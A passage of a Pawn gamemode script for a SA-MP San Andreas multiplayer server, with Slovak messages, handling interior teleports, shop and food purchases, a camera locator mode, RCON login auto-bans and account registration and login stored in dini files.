            else if(IsPlayerInSphere(playerid,2423.4304199219,-1914.9486083984,13.546875,2)) {        SetPlayerPos(playerid,-27.049,-56.755,1003.549); SetPlayerVirtualWorld(playerid,4000); SetPlayerInterior(playerid,6); SetPlayerFacingAngle(playerid,0.0); return 0; }
            else if(IsPlayerInSphere(playerid,2380.4821777344,-1213.5872802734,27.422292709351,2)) {    SetPlayerPos(playerid,-27.049,-56.755,1003.549); SetPlayerVirtualWorld(playerid,4001); SetPlayerInterior(playerid,6); SetPlayerFacingAngle(playerid,0.0); return 0; }
            else if(IsPlayerInSphere(playerid,1128.7092285156,-1271.3031005859,13.546875,2)) {        SetPlayerPos(playerid,-27.049,-56.755,1003.549); SetPlayerVirtualWorld(playerid,4002); SetPlayerInterior(playerid,6); SetPlayerFacingAngle(playerid,0.0); return 0; }
            else if(IsPlayerInSphere(playerid,336.11361694336,-1335.9836425781,14.5078125,2)) {        SetPlayerPos(playerid,-27.049,-56.755,1003.549); SetPlayerVirtualWorld(playerid,4003); SetPlayerInterior(playerid,6); SetPlayerFacingAngle(playerid,0.0); return 0; }
            else if(IsPlayerInSphere(playerid,-1675.9158935547,431.84384155273,7.1796875,2)) {        SetPlayerPos(playerid,-27.049,-56.755,1003.549); SetPlayerVirtualWorld(playerid,4004); SetPlayerInterior(playerid,6); SetPlayerFacingAngle(playerid,0.0); return 0; }
            else if(IsPlayerInSphere(playerid,-2544.4885253906,250.13616943359,13.870671272278,2)) {    SetPlayerPos(playerid,-27.049,-56.755,1003.549); SetPlayerVirtualWorld(playerid,4005); SetPlayerInterior(playerid,6); SetPlayerFacingAngle(playerid,0.0); return 0; }
            else if(IsPlayerInSphere(playerid,-1884.4801025391,1300.8520507813,7.1875,2)) {            SetPlayerPos(playerid,-27.049,-56.755,1003.549); SetPlayerVirtualWorld(playerid,4006); SetPlayerInterior(playerid,6); SetPlayerFacingAngle(playerid,0.0); return 0; }
            else if(IsPlayerInSphere(playerid,-2200.4584960938,-79.33618927002,35.3203125,2)) {        SetPlayerPos(playerid,-27.049,-56.755,1003.549); SetPlayerVirtualWorld(playerid,4007); SetPlayerInterior(playerid,6); SetPlayerFacingAngle(playerid,0.0); return 0; }
            //---- INV. SHOPS INTERIOR -------
            if((IsPlayerInSphere(playerid,-27.049,-56.755,1003.549,2)) && (GetPlayerInterior(playerid) == 6) && (GetPlayerVirtualWorld(playerid) <= 4007) && (GetPlayerVirtualWorld(playerid) >= 4000))
            {
                     if(GetPlayerVirtualWorld(playerid) == 4000) SetPlayerPos(playerid,2423.4304199219,-1914.9486083984,13.546875);
                else if(GetPlayerVirtualWorld(playerid) == 4001) SetPlayerPos(playerid,2380.4821777344,-1213.5872802734,27.422292709351);
                else if(GetPlayerVirtualWorld(playerid) == 4002) SetPlayerPos(playerid,1128.7092285156,-1271.3031005859,13.546875);
                else if(GetPlayerVirtualWorld(playerid) == 4003) SetPlayerPos(playerid,336.11361694336,-1335.9836425781,14.5078125);
                else if(GetPlayerVirtualWorld(playerid) == 4004) SetPlayerPos(playerid,-1675.9158935547,431.84384155273,7.1796875);
                else if(GetPlayerVirtualWorld(playerid) == 4005) SetPlayerPos(playerid,-2544.4885253906,250.13616943359,13.870671272278);
                else if(GetPlayerVirtualWorld(playerid) == 4006) SetPlayerPos(playerid,-1884.4801025391,1300.8520507813,7.1875);
                else if(GetPlayerVirtualWorld(playerid) == 4007) SetPlayerPos(playerid,-2200.4584960938,-79.33618927002,35.3203125);

                SetPlayerVirtualWorld(playerid, 0);
                SetPlayerInterior(playerid, 0);
            }
            //--------------------------------
            else if(IsPlayerInSphere(playerid,1571.763,-1337.715, 16.484,2)) { SetPlayerPos(playerid,1548.665,-1363.915,326.218); return 0; }
            else if(IsPlayerInSphere(playerid,1548.665,-1363.915,326.218,2)) { SetPlayerPos(playerid,1571.763,-1337.715, 16.484); return 0; }
            //--------------------------------

            if(GetPlayerVirtualWorld(playerid) >= 10000 && GetPlayerVirtualWorld(playerid) <= (10000 + MAX_FIRMS))
            {
                if(IsPlayerInSphere(playerid,365.673,-10.713,1001.851,2) || IsPlayerInSphere(playerid,363.415, -74.578,1001.507,2) || IsPlayerInSphere(playerid,372.366,-132.133,1001.492,2))
                {
                    new fid = (GetPlayerVirtualWorld(playerid)-10000);
                    SetPlayerPos(playerid, Firm[fid][fpX], Firm[fid][fpY], Firm[fid][fpZ]);
                    SetPlayerInterior(playerid, 0);
                    SetPlayerVirtualWorld(playerid, 0);
                }
            }

            //--------------------------------
            else if((Player[playerid][SelectedSkin] != 9999) && (GetPlayerVirtualWorld(playerid) == 1000000 + playerid))
            {
                if(GetPlayerACMoney(playerid) < 1000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš 1000$ na nákup skinu !");
                else
                {
                    SetPlayerCurrentShopSkin(playerid);
                    GivePlayerACMoney(playerid, -1000);
                }
            }
            if(Locator[playerid][State]==true)
            {
                KillTimer(UpdateExTimer[playerid]);
                Locator[playerid][State]=false;
                PlayerCameraBack(playerid);
                SetPlayerColor(playerid, Player[playerid][SavedColor]);
                SetPlayerPos(playerid,-357.929,1585.793,76.712);
            }

            new Float:hp;
            GetPlayerHealth(playerid,hp);

            if(IsPlayerInSphere(playerid,377.671,-68.038,1001.515,2)==1 || IsPlayerInSphere(playerid,369.608,-6.528,1001.858,2)==1 || IsPlayerInSphere(playerid,375.770,-119.677,1001.499,2)==1)
            {
                if(GetPlayerVirtualWorld(playerid) >= 10000 && GetPlayerVirtualWorld(playerid) <= (10000 + MAX_FIRMS))
                {
                    new firmid2 = Player[playerid][FirmID];

                    new fwaay2xds[40];
                    format(fwaay2xds, 40, "SL/Server/Firms/Firm%d.cfg", firmid2);

                    if(GetPlayerACMoney(playerid) < dini_Int(fwaay2xds, "Item0_price"))
                    {
                        new strg[64];
                        format(strg,64, "Nemáš %d$ na zaplatenie jedla !", dini_Int(fwaay2xds, "Item0_price"));
                        return SendClientMessage(playerid, COLOR_WARNING, strg);
                    }
                    else
                    {
                        SetPlayerHealth(playerid, hp+15);
                        if(hp>=100) SetPlayerHealth(playerid,100);
                        SendClientMessage(playerid,COLOR_GREEN,"Najedol si sa.");
                        GivePlayerACMoney(playerid, -dini_Int(fwaay2xds, "Item0_price"));

                        Firm[firmid2][Trzba] += dini_Int(fwaay2xds, "Item0_price");

                        dini_IntSet(fwaay2xds, "Trzba", Firm[firmid2][Trzba]);

                        Delete3DTextLabel(Firm[firmid2][Text3D]);
                        format(gBIGSTRING,sizeof(gBIGSTRING), "[ Firma ]\n%s\nMajitel: %s\nTržba: %d$", dini_Get(fwaay2xds, "Name"), dini_Get(fwaay2xds, "Majitel"), Firm[firmid2][Trzba]);
                        Firm[firmid2][Text3D] = Create3DTextLabel(gBIGSTRING, COLOR_BLUE_LIGHT, Firm[firmid2][fpX], Firm[firmid2][fpY], Firm[firmid2][fpZ], 40, 0);
                    }
                }
                else
                {
                    if(GetPlayerACMoney(playerid)<10) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš 10$ !");
                    else if(hp >= 100.000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si hladný !");
                    else
                    {
                        SetPlayerHealth(playerid,hp+15);
                        if(hp>=100) SetPlayerHealth(playerid,100);
                        SendClientMessage(playerid,COLOR_GREEN,"Najedol si sa.");
                        GivePlayerACMoney(playerid, -10);
                    }
                }
            }
        }
        else if(newkeys & KEY_FIRE)
        {
            if((Player[playerid][SelectedSkin] != 9999) && (GetPlayerVirtualWorld(playerid) == 1000000+playerid)) ShowPlayerDialog(playerid,Dialog_SkinShop,DIALOG_STYLE_INPUT,"Oblečenie","Zadaj číslo skinu:\n1 - 299","Zhliadnut","Cancel");

            else if(Locator[playerid][State]==true)
            {
                if(Locator[playerid][pZ]> 10) Locator[playerid][pZ]-=Locator[playerid][pZ]/10;
                if(Locator[playerid][pZ]<=10) Locator[playerid][pZ]-=0.45;
                SetPlayerCameraPos(playerid,Locator[playerid][pX],Locator[playerid][pY],Locator[playerid][pZ]);
                SetPlayerCameraLookAt(playerid,Locator[playerid][pX],Locator[playerid][pY],Locator[playerid][pZ]-25);
            }
        }
        else if(newkeys & KEY_HANDBRAKE)
        {
            if(Locator[playerid][State]==true)
            {
                if(Locator[playerid][pZ]> 10) Locator[playerid][pZ]+=Locator[playerid][pZ]/10;
                if(Locator[playerid][pZ]<=10) Locator[playerid][pZ]+=0.45;
                SetPlayerCameraPos(playerid,Locator[playerid][pX],Locator[playerid][pY],Locator[playerid][pZ]);
                SetPlayerCameraLookAt(playerid,Locator[playerid][pX],Locator[playerid][pY],Locator[playerid][pZ]-25);
            }
        }
    }
    return 1;
}

public OnPlayerRequestSpawn(playerid)
{
    if(!IsPlayerNPC(playerid))
    {
        if(IsPlayerConnected(playerid))
        {
            if(Player[playerid][Logged] == false)
            {
                ShowPlayerDialog(playerid,Dialog_Login,DIALOG_STYLE_PASSWORD,"Prihlásenie","{ff0000}Musíš sa prihlásiť !\n{ffffff}Zadaj svoje heslo:","Potvrdit","");
                return 0;
            }
        }
    }
    return 1;
}

forward SuperLocatorUpdate(playerid);
public SuperLocatorUpdate(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        if(Locator[playerid][State]==true)
        {
            new keys,updown,leftright;
            GetPlayerKeys(playerid,keys,updown,leftright);
            new Float:CamSpeed;

            if(updown > 0)
            { //down
                if(Locator[playerid][pZ]> 10) CamSpeed=Locator[playerid][pZ]/10;
                else CamSpeed=0.45;
                Locator[playerid][pY]-=CamSpeed;
                SetPlayerPos(playerid,Locator[playerid][pX],Locator[playerid][pY],-45);
                SetPlayerCameraPos(playerid,Locator[playerid][pX],Locator[playerid][pY],Locator[playerid][pZ]);
                SetPlayerCameraLookAt(playerid,Locator[playerid][pX],Locator[playerid][pY],Locator[playerid][pZ]-25);

            }
            else if(updown < 0)
            { //up
                if(Locator[playerid][pZ]> 10) CamSpeed=Locator[playerid][pZ]/10;
                else CamSpeed=0.45;
                Locator[playerid][pY]+=CamSpeed;
                SetPlayerPos(playerid,Locator[playerid][pX],Locator[playerid][pY],-45);
                SetPlayerCameraPos(playerid,Locator[playerid][pX],Locator[playerid][pY],Locator[playerid][pZ]);
                SetPlayerCameraLookAt(playerid,Locator[playerid][pX],Locator[playerid][pY],Locator[playerid][pZ]-25);
            }

            if(leftright > 0)
            { //right
                if(Locator[playerid][pZ]> 10) CamSpeed=Locator[playerid][pZ]/10;
                else CamSpeed=0.45;
                Locator[playerid][pX]+=CamSpeed;
                SetPlayerPos(playerid,Locator[playerid][pX],Locator[playerid][pY],-45);
                SetPlayerCameraPos(playerid,Locator[playerid][pX],Locator[playerid][pY],Locator[playerid][pZ]);
                SetPlayerCameraLookAt(playerid,Locator[playerid][pX],Locator[playerid][pY],Locator[playerid][pZ]-25);

            }
            else if(leftright < 0)
            { //left
                if(Locator[playerid][pZ]> 10) CamSpeed=Locator[playerid][pZ]/10;
                else CamSpeed=0.45;
                Locator[playerid][pX]-=CamSpeed;
                SetPlayerPos(playerid,Locator[playerid][pX],Locator[playerid][pY],-45);
                SetPlayerCameraPos(playerid,Locator[playerid][pX],Locator[playerid][pY],Locator[playerid][pZ]);
                SetPlayerCameraLookAt(playerid,Locator[playerid][pX],Locator[playerid][pY],Locator[playerid][pZ]-25);
            }
        }
    }
    return 1;
}

public OnPlayerUpdate(playerid)
{
    if(!IsPlayerNPC(playerid))
    {
        if(Player[playerid][DriftState] == true) Drifting(playerid);

        if(IsPlayerAdmin(playerid)) Player[playerid][RCON]=true;

        if(GetPlayerVehicleID(playerid) > 0) if(Player[playerid][Speed] >= 200) if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
        {
            new Float:x, Float:y, Float:z, Float:a, vehicleid = GetPlayerVehicleID(playerid);
            GetVehiclePos(vehicleid, x, y, z);
            GetVehicleZAngle(vehicleid, a);

            if((839 > x) && (x > 834) && (-2055 > y) && (y > -2080) && (13 > z) && (z > 10))
            {
                if((a > 155) && (a < 205)) //180
                {
                    new Float:V[3];
                    GetVehicleVelocity(vehicleid, V[0], V[1], V[2]);
                    SetVehiclePos(vehicleid, -2992.4865722656, 467.88174438477, 4.9140625);
                    SetVehicleZAngle(vehicleid, 270.000000);
                    SetVehicleVelocity(vehicleid, -V[1], V[0], V[2]);
                }
            }

            else if((-2991 > x) && (x > -3010) && (470.5 > y) && (y > 465) && (6 > z) && (z > 2.5))
            {
                if((a > 65) && (a < 115)) //90
                {
                    new Float:V[3];
                    GetVehicleVelocity(vehicleid, V[0], V[1], V[2]);
                    SetVehiclePos(vehicleid, 836.35540771484, -2063.2978515625, 12.8671875);
                    SetVehicleZAngle(vehicleid, 0.000000);
                    if(-V[0] < 0.5) V[0]=-1.000000;
                    SetVehicleVelocity(vehicleid, V[1], -V[0], V[2]);
                }
            }
        }

        if(GetPlayerVirtualWorld(playerid)==2000 || GetPlayerVirtualWorld(playerid)==2001 || GetPlayerVirtualWorld(playerid)==2012 || GetPlayerVirtualWorld(playerid)==2015 || GetPlayerVirtualWorld(playerid)==2018)
        {
            if(GetPlayerWeapon(playerid) != 0) SetPlayerArmedWeapon(playerid, 0), PlayerPlaySound(playerid, 1053, 0, 0, 0), GameTextForPlayer(playerid, "~r~ZAKAZ ZBRANI !", 1000, 5);
        }
    }
    return 1;
}

public OnRconLoginAttempt(ip[], password[], success)
{
    if(success == 1)
    {
        new playerid = -1;
        
        new ip2[20];
        for(new i=0; i<=Server[ConP]; i++)
        {
            GetPlayerIp(i, ip2, 20);
            if(!strcmp(ip2, ip, false))
            {
                playerid = i;
                break;
            }
        }
        
        if(playerid != -1)
        {
            if(IsPlayerConnected(playerid))
            {
                new Name[24];
                new string[128];
                
                GetPlayerName(playerid, Name, 24);
                format(string,128, "", Name, playerid);

                for(new i=0; i<=Server[ConP]; i++)
                {
                    if(IsPlayerConnected(i))
                    {
                        if(!IsPlayerNPC(i))
                        {
                            if(Player[i][AdminLevel] > 0)
                            {
                                SendClientMessage(i, COLOR_ADMIN, string);
                            }
                        }
                    }
                }

                if(Player[playerid][RCON_Permission] == false)
                {
                    PlayerPlaySound(playerid, 1053, 0, 0, 0);
                
                    format(string,128, "Hráč %s (%d) sa neoprávnene prihlásil na RCON. Hráč bol automaticky zabanovány !", Name, playerid);
                    SendClientMessageToAll(COLOR_ADMIN, string);
                    print(string);

                    BanEx(playerid, "Hacking");
                }
                else PlayerPlaySound(playerid, 1057, 0, 0, 0);
            }
        }
    }
    return 1;
}

public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[])
{
    if(IsPlayerConnected(playerid))
    {
           if(dialogid == Dialog_Register)
        {
            if(response == 1)
            {
                if(!inputtext[0]) return ShowPlayerDialog(playerid,Dialog_Register,DIALOG_STYLE_INPUT,"Registracia","{ff0000}Nezadal si heslo !\n{ffffff}Zadaj svoje nové heslo:","Potvrdit","Cancel");
                else
                {
                    new Text2[256];
                    format(Text2,256,"{ffffff}Úspešne si sa zaregistroval !\n{ffffff}Tvoje nové heslo: {ffff00}%s\n{ffffff}Teraz sa prihlás !",inputtext[0]);
                    ShowPlayerDialog(playerid,Dialog_RegToLog,DIALOG_STYLE_MSGBOX,"Registracia",Text2,"Ďalej","Cancel");
                    Player[playerid][RegSpawn]=true;
                    new Name[24];
                    GetPlayerName(playerid,Name,24);
                    new way[32];
                    format(way,32,"SL/%s.cfg",Name);

                    if(!dini_Exists(way))
                    {
                        dini_IntSet("SL/Server/AllPlayers.cfg", Name, 1);
                    
                        dini_Create(way);
                        dini_Set(way,"Password",lyrhash(inputtext));
                        dini_IntSet(way,"AdminLevel",0);
                        dini_IntSet(way,"Bank",0);
                        dini_IntSet(way,"WantedLevel",0);
                        dini_IntSet(way,"Reward",0);
                        dini_IntSet(way,"Kills",0);
                        dini_IntSet(way,"Deaths",0);
                        dini_IntSet(way,"House",9999);
                        dini_IntSet(way,"Team",0);
                        dini_BoolSet(way,"Vodicak",false);
                        dini_BoolSet(way,"Zbrojak",false);
                        dini_FloatSet(way,"Pos_X",0.0);
                        dini_FloatSet(way,"Pos_Y",0.0);
                        dini_FloatSet(way,"Pos_Z",0.0);
                        dini_IntSet(way,"World",0);
                        dini_IntSet(way,"Interior",0);
                        dini_IntSet(way,"LastMoney",0);
                        dini_IntSet(way,"LastHP",100);
                        dini_IntSet(way,"LastArmour",0);
                        dini_IntSet(way,"LastSkin",293);
                        dini_BoolSet(way,"Notebook",false);
                        dini_BoolSet(way,"GPS",false);
                        dini_IntSet(way,"Registred",1);
                        dini_IntSet(way,"Hours",0);
                        dini_IntSet(way,"Minutes",0);
                        dini_IntSet(way,"EBank",0);
                        dini_FloatSet(way,"Skill",0);
                        dini_IntSet(way,"Firm", 9999);
                        dini_IntSet(way,"Clan", 9999);
                        dini_IntSet(way,"ClanRank", 9999);
                        dini_IntSet(way,"Bagety", 0);
                        dini_IntSet(way,"Sprunk", 0);
                        dini_IntSet(way,"Pivo", 0);
                        dini_IntSet(way,"Vino", 0);
                        dini_IntSet(way,"Whisky", 0);
                        dini_IntSet(way,"Marihuana", 0);
                        dini_IntSet(way,"Jointy", 0);
                        dini_IntSet(way,"Cigarety", 0);
                        dini_IntSet(way,"Svetlica", 0);
                        dini_IntSet(way,"Dynamit", 0);
                        dini_IntSet(way,"Mina", 0);
                        dini_IntSet(way,"Raptor", 0);
                        dini_IntSet(way,"Predator", 0);
                        dini_FloatSet(way,"Respect", 1);
                        dini_IntSet(way,"FightingS", FIGHT_STYLE_NORMAL);

                        dini_IntSet(way,"TopK", 0);
                        dini_IntSet(way,"TopR", 0);
                        dini_IntSet(way,"TopZ", 0);
                        dini_IntSet(way,"TopM", 0);

                        dini_IntSet(way,"VIP",0);
                        dini_IntSet(way,"VIP_Time",0);
                        dini_IntSet(way,"VIP_Days",0);
                        dini_IntSet(way,"VIP_Bonus",0);
                        dini_IntSet(way,"VIP_Tarif",0);
                        
                        for(new s=0; s<5; s++)
                        {
                            new v_id[16]; format(v_id,16,"V%d_id",s);
                            dini_IntSet(way,v_id,0);
                            new v_sell[16]; format(v_sell,16,"V%d_sell",s);
                            dini_IntSet(way,v_sell,0);
                            new v_neons[16]; format(v_neons,16,"V%d_neons",s);
                            dini_IntSet(way,v_neons,0);
                            new v_wheels[16]; format(v_wheels,16,"V%d_wheels",s);
                            dini_IntSet(way,v_wheels,0);
                            new v_spoiler[16]; format(v_spoiler,16,"V%d_spoiler",s);
                            dini_IntSet(way,v_spoiler,0);
                            new v_pn[16]; format(v_pn,16,"V%d_pn",s);
                            dini_IntSet(way,v_pn,0);
                            new v_pj[16]; format(v_pj,16,"V%d_pj",s);
                            dini_IntSet(way,v_pj,9999);
                            new v_snL[16]; format(v_snL,16,"V%d_snL",s);
                            dini_IntSet(way,v_snL,0);
                            new v_snR[16]; format(v_snR,16,"V%d_snR",s);
                            dini_IntSet(way,v_snR,0);
                            new v_zn[16]; format(v_zn,16,"V%d_zn",s);
                            dini_IntSet(way,v_zn,0);
                            new v_exhaust[16]; format(v_exhaust,16,"V%d_exhaust",s);
                            dini_IntSet(way,v_exhaust,0);
                            new v_nitro[16]; format(v_nitro,16,"V%d_nitro",s);
                            dini_IntSet(way,v_nitro,0);
                            new v_hyd[16]; format(v_hyd,16,"V%d_hyd",s);
                            dini_IntSet(way,v_hyd,0);
                            new v_roof[16]; format(v_roof,16,"V%d_roof",s);
                            dini_IntSet(way,v_roof,0);
                            new v_color1[16]; format(v_color1,16,"V%d_color1",s);
                            dini_IntSet(way,v_color1,0);
                            new v_color2[16]; format(v_color2,16,"V%d_color2",s);
                            dini_IntSet(way,v_color2,0);
                            new v_spz[16]; format(v_spz,16,"V%d_spz",s);
                            dini_Set(way,v_spz,"SL-000XX");
                            new V_posX[16]; format(V_posX,16,"V%d_posX",s);
                            dini_FloatSet(way,V_posX,0.000000);
                            new V_posY[16]; format(V_posY,16,"V%d_posY",s);
                            dini_FloatSet(way,V_posY,0.000000);
                            new V_posZ[16]; format(V_posZ,16,"V%d_posZ",s);
                            dini_FloatSet(way,V_posZ,0.000000);
                            new V_angle[16]; format(V_angle,16,"V%d_angle",s);
                            dini_FloatSet(way,V_angle,0.000000);
                        }
                    }
                }
            }
        }
        ////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_RegToLog)
        {
            if(response == 1) ShowPlayerDialog(playerid,Dialog_Login,DIALOG_STYLE_PASSWORD,"Prihlásenie","{ffffff}Pred vstupom do hry sa musíš nejprv prihlásiť\n{ffffff}Zadaj svoje heslo:","OK","");
        }
        ////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Login)
        {
            if(response == 1)
            {
                new Name[24];
                GetPlayerName(playerid,Name,24);
                new way[32];
                format(way,32,"SL/%s.cfg",Name);

                if(!fexist(way)) return ShowPlayerDialog(playerid,Dialog_Login,DIALOG_STYLE_PASSWORD,"Prihlásenie","{ff0000}ERROR:\nNastala chyba so súbormy !\nSúbor na zapisovanie dát pre tento účet nieje vytvorený !!!\n\n{ffffff}Pred vstupom do hry sa musíš nejprv prihlásiť\nZadaj svoje heslo:","Potvrdit","");
                else if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_Login,DIALOG_STYLE_PASSWORD,"Prihlásenie","{ff0000}Nezadal si heslo !\n{ffffff}Pred vstupom do hry sa musíš nejprv prihlásiť\nZadej svoje heslo:","Potvrdit","");
                else if(strcmp(dini_Get(way,"Password"),lyrhash(inputtext),true))
                {
                    Player[playerid][FalseLogin]++;

                    if(Player[playerid][FalseLogin]<=2)
                    {
                        new Text2f[256];
                        format(Text2f,256,"{ff0000}Zlé heslo ! (Warning: %d/3)\n{ffffff}Pred vstupom do hry sa musíš nejprv prihlásiť\nZadaj svoje heslo:",Player[playerid][FalseLogin]);
                        ShowPlayerDialog(playerid,Dialog_Login,DIALOG_STYLE_PASSWORD,"Prihlásenie",Text2f,"Potvrdit","");
                    }
                    else
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"Zlé heslo ! (Warning 3/3)");
                        Kick(playerid);
                    }
                }
                else
                {
                    ////////////////////////////////////////////////////////////
                    
                    if(!dini_Isset(way, "V0_pj"))
                    {
                        for(new s=0; s<5; s++)
                        {
                            new v_pj[16];
                            format(v_pj,16,"V%d_pj",s);
                            dini_IntSet(way,v_pj,9999);
                        }
                    }
                    
                    if(!dini_Isset(way, "V0_id"))
                    {
                        for(new s=0; s<5; s++)
                        {
                            new v_id[16]; format(v_id,16,"V%d_id",s);
                            dini_IntSet(way,v_id,0);
                            new v_sell[16]; format(v_sell,16,"V%d_sell",s);
                            dini_IntSet(way,v_sell,0);
                            new v_neons[16]; format(v_neons,16,"V%d_neons",s);
                            dini_IntSet(way,v_neons,0);
                            new v_wheels[16]; format(v_wheels,16,"V%d_wheels",s);
                            dini_IntSet(way,v_wheels,0);
                            new v_spoiler[16]; format(v_spoiler,16,"V%d_spoiler",s);
                            dini_IntSet(way,v_spoiler,0);
                            new v_pn[16]; format(v_pn,16,"V%d_pn",s);
                            dini_IntSet(way,v_pn,0);
                            new v_pj[16]; format(v_pj,16,"V%d_pj",s);
                            dini_IntSet(way,v_pj,9999);
                            new v_snL[16]; format(v_snL,16,"V%d_snL",s);
                            dini_IntSet(way,v_snL,0);
                            new v_snR[16]; format(v_snR,16,"V%d_snR",s);
                            dini_IntSet(way,v_snR,0);
                            new v_zn[16]; format(v_zn,16,"V%d_zn",s);
                            dini_IntSet(way,v_zn,0);
                            new v_exhaust[16]; format(v_exhaust,16,"V%d_exhaust",s);
                            dini_IntSet(way,v_exhaust,0);
                            new v_nitro[16]; format(v_nitro,16,"V%d_nitro",s);
                            dini_IntSet(way,v_nitro,0);
                            new v_hyd[16]; format(v_hyd,16,"V%d_hyd",s);
                            dini_IntSet(way,v_hyd,0);
                            new v_roof[16]; format(v_roof,16,"V%d_roof",s);
                            dini_IntSet(way,v_roof,0);
                            new v_color1[16]; format(v_color1,16,"V%d_color1",s);
                            dini_IntSet(way,v_color1,0);
                            new v_color2[16]; format(v_color2,16,"V%d_color2",s);
                            dini_IntSet(way,v_color2,0);
                            new v_spz[16]; format(v_spz,16,"V%d_spz",s);
                            dini_Set(way,v_spz,"SL-000XX");
                            new V_posX[16]; format(V_posX,16,"V%d_posX",s);
                            dini_FloatSet(way,V_posX,0.000000);
                            new V_posY[16]; format(V_posY,16,"V%d_posY",s);
                            dini_FloatSet(way,V_posY,0.000000);
                            new V_posZ[16]; format(V_posZ,16,"V%d_posZ",s);
                            dini_FloatSet(way,V_posZ,0.000000);
                            new V_angle[16]; format(V_angle,16,"V%d_angle",s);
                            dini_FloatSet(way,V_angle,0.000000);
                        }
                    }
                    
                    ////////////////////////////////////////////////////////////
                    
                    for(new s=0; s<5; s++)
                    {
                        new V_id[16];
                        format(V_id, 16, "V%d_id", s);
                        
                        if(dini_Int(way, V_id) > 0)
                        {
                            new V_posX[16]; format(V_posX, 16, "V%d_posX", s);
                            new V_posY[16]; format(V_posY, 16, "V%d_posY", s);
                            new V_posZ[16]; format(V_posZ, 16, "V%d_posZ", s);
                            new V_angle[16]; format(V_angle, 16, "V%d_angle", s);
                            new V_color1[16]; format(V_color1, 16, "V%d_color1", s);
                            new V_color2[16]; format(V_color2, 16, "V%d_color2", s);
                            new V_neons[16]; format(V_neons, 16, "V%d_neons", s);
                            new V_spz[16]; format(V_spz, 16, "V%d_spz", s);
                            
                            PlayerVehicle[s][playerid] = CreateVehicle(dini_Int(way, V_id), dini_Float(way, V_posX), dini_Float(way, V_posY), dini_Float(way, V_posZ), dini_Float(way, V_angle), dini_Int(way, V_color1), dini_Int(way, V_color2), 300);
                            
                            if(dini_Isset(way, V_spz))
                            {
                                SetVehicleNumberPlate(PlayerVehicle[s][playerid], dini_Get(way, V_spz));
                                SetVehicleToRespawn(PlayerVehicle[s][playerid]);
                            }
                            
                            if(dini_Int(way, V_neons) > 0)
                            {
                                PlayerVehicleNeon1[s][playerid] = CreateObject(dini_Int(way, V_neons), -0.66, 0.04, -0.48,   0.00, 0.00, 0.00);
                                PlayerVehicleNeon2[s][playerid] = CreateObject(dini_Int(way, V_neons), 0.68, 0.04, -0.48,   0.00, 0.00, 0.00);
                                AttachObjectToVehicle(PlayerVehicleNeon1[s][playerid], PlayerVehicle[s][playerid], -0.68, 0.04, -0.48,   0.00, 0.00, 0.00);
                                AttachObjectToVehicle(PlayerVehicleNeon2[s][playerid], PlayerVehicle[s][playerid], 0.68, 0.04, -0.48,   0.00, 0.00, 0.00);

                                PlayerVehicleNeons[s][playerid] = true;
                            }
                            
                            PlayerVehicle_State[s][playerid]=true;
                        }
                    }
                    
                    ////////////////////////////////////////////////////////////
                
                    Player[playerid][Logged] = true;
                    SendClientMessage(playerid,COLOR_GREEN,"Úspešne si sa prihlásil !");

                    Player[playerid][AdminLevel] = dini_Int(way,"AdminLevel");
                    Player[playerid][Bank] = dini_Int(way,"Bank");
                    SetPlayerWantedLevel(playerid, dini_Int(way,"WantedLevel"));
                    Player[playerid][Reward] = dini_Int(way,"Reward");
                    Player[playerid][Kills] = dini_Int(way,"Kills");
                    Player[playerid][Deaths] = dini_Int(way,"Deaths");
                    Player[playerid][HouseP] = dini_Int(way,"House");
                    Player[playerid][Team] = dini_Int(way,"Team");
                    Player[playerid][FirmP] = dini_Int(way,"Firm");
                    Player[playerid][Bagety] = dini_Int(way,"Bagety");
                    Player[playerid][Sprunk] = dini_Int(way,"Sprunk");
                    Player[playerid][Pivo] = dini_Int(way,"Pivo");
                    Player[playerid][Vino] = dini_Int(way,"Vino");
                    Player[playerid][Whisky] = dini_Int(way,"Whisky");
                    Player[playerid][Marihuana] = dini_Int(way,"Marihuana");
                    Player[playerid][Jointy] = dini_Int(way,"Jointy");
                    Player[playerid][Cigarety] = dini_Int(way,"Cigarety");
                    Player[playerid][Svetlica] = dini_Int(way,"Svetlica");
                    Player[playerid][Dynamit] = dini_Int(way,"Dynamit");
                    Player[playerid][Mina] = dini_Int(way,"Mina");
                    Player[playerid][Raptor] = dini_Int(way,"Raptor");
                    Player[playerid][Predator] = dini_Int(way,"Predator");
                    Player[playerid][Respect] = dini_Float(way,"Respect");
                    Player[playerid][Skill] = dini_Float(way,"Skill");
                    Player[playerid][FightingStyle] = dini_Int(way,"FightingS");
                    SetPlayerFightingStyle(playerid, Player[playerid][FightingStyle]);

                    if(Player[playerid][Skill] > 100) Player[playerid][Skill]=Player[playerid][Skill]/10;

                    if(dini_Isset(way, "Clan")) Player[playerid][ClanP] = dini_Int(way,"Clan");
                    if(dini_Isset(way, "ClanRank")) Player[playerid][ClanRank] = dini_Int(way,"ClanRank");

                    if(dini_Int(way,"Vodicak")==0) Player[playerid][Vodicak]=false;
                    else Player[playerid][Vodicak]=true;
                    if(dini_Int(way,"Zbrojak")==0) Player[playerid][Zbrojak]=false;
                    else Player[playerid][Zbrojak]=true;
                    if(dini_Int(way,"Notebook")==0) Player[playerid][Notebook]=false;
                    else Player[playerid][Notebook]=true;
                    if(dini_Int(way,"GPS")==0) Player[playerid][GPS]=false;
                    else Player[playerid][GPS]=true;

                    Player[playerid][Hours] = dini_Int(way,"Hours");
                    Player[playerid][Minutes] = dini_Int(way,"Minutes");
                    Player[playerid][InternetBank] = dini_Int(way,"EBank");

                    if(dini_Isset(way, "MobilNumber")) Mobil[playerid][MobilNumber] = dini_Int(way, "MobilNumber");
                    if(!dini_Isset(way, "Firm"))
                    {
                        dini_IntSet(way,"Firm", 9999);
                        Player[playerid][FirmP] = 9999;
                    }

                    FormatHighScore(playerid);

                    //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

                    if(Player[playerid][HouseP] != 9999)
                    {
                        new v = Player[playerid][HouseP];

                        new hway[32];
